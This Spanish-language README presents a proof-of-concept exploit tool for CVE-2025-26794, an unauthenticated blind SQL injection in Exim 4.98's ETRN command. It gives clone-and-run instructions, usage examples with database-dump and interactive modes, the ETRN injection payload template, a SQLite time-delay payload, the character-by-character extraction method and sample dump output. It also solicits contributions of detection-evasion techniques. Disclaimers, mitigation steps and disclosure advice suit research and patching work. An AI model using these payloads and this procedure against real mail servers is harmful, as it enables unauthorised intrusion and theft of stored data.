CVE-2025-26794: Exploit de inyección SQL ETRN en Exim

Una herramienta de explotación proof-of-concept para CVE-2025-26794, que demuestra la vulnerabilidad de inyección SQL en el servidor de correo Exim 4.98 mediante el comando ETRN cuando se utiliza almacenamiento DBM de SQLite.

⚠️ Aviso Legal

SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS

Esta herramienta se proporciona únicamente con fines educativos y para pruebas de penetración autorizadas. El acceso no autorizado a sistemas informáticos es ilegal según diversas leyes, entre ellas:

• Ley de Fraude y Abuso Informático (CFAA) en los Estados Unidos
• Ley de Uso Indebido de Computadoras en el Reino Unido
• Legislación similar en otras jurisdicciones

Debe tener autorización explícita por escrito antes de probar cualquier sistema que no sea de su propiedad.

Los autores y colaboradores no asumen ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.

📋 Resumen de la Vulnerabilidad

CVE-2025-26794 es una vulnerabilidad de inyección SQL en Exim 4.98 que se produce cuando:

• Exim está configurado con almacenamiento DBM de SQLite
• El controlador del comando ETRN procesa datos serializados
• La entrada controlada por el usuario no se sanitiza suficientemente antes de la construcción de la consulta SQL

Esta vulnerabilidad permite a los atacantes:

• Extraer datos confidenciales de la base de datos del servidor de correo
• Realizar ataques de inyección SQL ciega basados en tiempo
• Enumerar la estructura de la base de datos (tablas, columnas, datos)

Versiones Afectadas

• Exim 4.98 con configuración DBM de SQLite

Vector de Ataque

• Servicio SMTP accesible por red (normalmente en el puerto 25)
• No se requiere autenticación (el comando ETRN está disponible antes de la autenticación)

🚀 Características

• Prueba de vulnerabilidad: Comprobación automatizada para confirmar si el objetivo es vulnerable
• SQLi ciega basada en tiempo: Utiliza técnicas de retardo temporal de SQLite para la extracción de datos
• Optimización con búsqueda binaria: Extracción eficiente carácter por carácter
• Volcado automatizado de la base de datos: Extrae tablas, columnas y datos de muestra
• Modo interactivo: Ejecuta consultas SQL personalizadas de forma interactiva
• Operación multimodo: Estrategias de extracción flexibles

📦 Instalación

Requisitos

• Python 3.6 o superior
• Acceso de red al servidor SMTP objetivo

Configuración

# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit

# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt

# Make script executable (Linux/Mac)
chmod +x exploit.py

💻 Uso

Sintaxis Básica

python3 exploit.py <target> [options]

Ejemplos Rápidos

1. Comprobar si el objetivo es vulnerable

python3 exploit.py 192.168.1.10 --test-only

2. Volcado automatizado de la base de datos

python3 exploit.py mail.example.com --auto-dump

3. Modo interactivo de consultas SQL

python3 exploit.py 10.0.0.5 --interactive

4. Extraer la estructura de una tabla específica

python3 exploit.py 192.168.1.10 --table users --columns

5. Ejecutar una consulta SQL personalizada

python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"

Opciones de Línea de Comandos

🔍 Cómo Funciona

Flujo del Ataque

1. Conexión: Establece una conexión SMTP con el servidor objetivo
2. Medición de referencia: Envía un comando ETRN normal para medir el tiempo de respuesta
3. Prueba de inyección: Envía una carga útil SQL con retardo temporal para confirmar la vulnerabilidad
4. Extracción de datos: Utiliza búsqueda binaria con SQLi ciega basada en tiempo para extraer datos carácter por carácter

Estructura de la Carga Útil de Inyección SQL

ETRN #',1); <MALICIOUS_QUERY> /*

La carga útil aprovecha la sanitización incorrecta en el controlador de serialización de ETRN, permitiendo la inyección SQL en las consultas de SQLite.

Detección Basada en Tiempo

Utiliza el retardo temporal específico de SQLite:

SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

Esto crea un retardo medible (~1-2 segundos) cuando la condición es verdadera.

📊 Salida de Ejemplo

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-26794: Exim SQLi Data Extraction Tool        ║
║                  FOR AUTHORIZED USE ONLY                  ║
╚═══════════════════════════════════════════════════════════╝

[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s

[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users

[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email

🛡️ Mitigación

Si está ejecutando Exim 4.98 con DBM de SQLite:

1. Actualice Exim: Actualice a la versión parcheada (4.98.1 o posterior)
2. Validación de entradas: Implemente una validación estricta del comando ETRN
3. Consultas parametrizadas: Use sentencias preparadas para todas las operaciones de base de datos
4. Reglas de firewall: Restrinja el acceso SMTP a redes de confianza
5. Deshabilitar ETRN: Si no es necesario, deshabilite el comando ETRN en la configuración de Exim

🔧 Detalles Técnicos

Algoritmo de Búsqueda Binaria

El exploit utiliza búsqueda binaria para extraer caracteres de forma eficiente:

• Rango ASCII imprimible: 32-126
• Consultas promedio por carácter: ~7 (log₂ 94)
• Optimizado para minimizar el tráfico de red

Funciones de SQLite Utilizadas

• unicode(): Obtener el valor ASCII de un carácter
• substr(): Extraer subcadena del resultado
• sqlite_master: Tabla del sistema para la enumeración del esquema
• pragma_table_info(): Extracción de metadatos de columnas

📚 Referencias

• Detalles del CVE: CVE-2025-26794
• Aviso de seguridad de Exim: [Aviso oficial de Exim]
• Inyección SQL de OWASP: Guía de OWASP

🤝 Contribuciones

Se aceptan contribuciones para:

• Optimizaciones de rendimiento
• Técnicas adicionales de extracción
• Métodos de evasión de detección
• Corrección de errores y mejoras

Asegúrese de que todas las contribuciones incluyan:

• Documentación clara
• Directrices de divulgación responsable
• Advertencias de uso legal

📝 Licencia

Este proyecto se publica únicamente con fines educativos. Úselo de manera responsable y legal.

👤 Autor

XploitGh0st

• GitHub: @XploitGh0st

🙏 Agradecimientos

• Al equipo de desarrollo de Exim por el manejo responsable de la vulnerabilidad
• A la comunidad de investigación en seguridad
• A los investigadores de la técnica de inyección SQL basada en tiempo en SQLite

⚖️ Divulgación Responsable

Si descubre vulnerabilidades con esta herramienta:

1. No divulgue los detalles públicamente de inmediato
2. Contacte al proveedor/mantenedor de forma privada
3. Permita un tiempo razonable para el parcheo (normalmente 90 días)
4. Siga las directrices de divulgación coordinada

Recuerde: Un gran poder conlleva una gran responsabilidad. Utilice esta herramienta de forma ética y legal.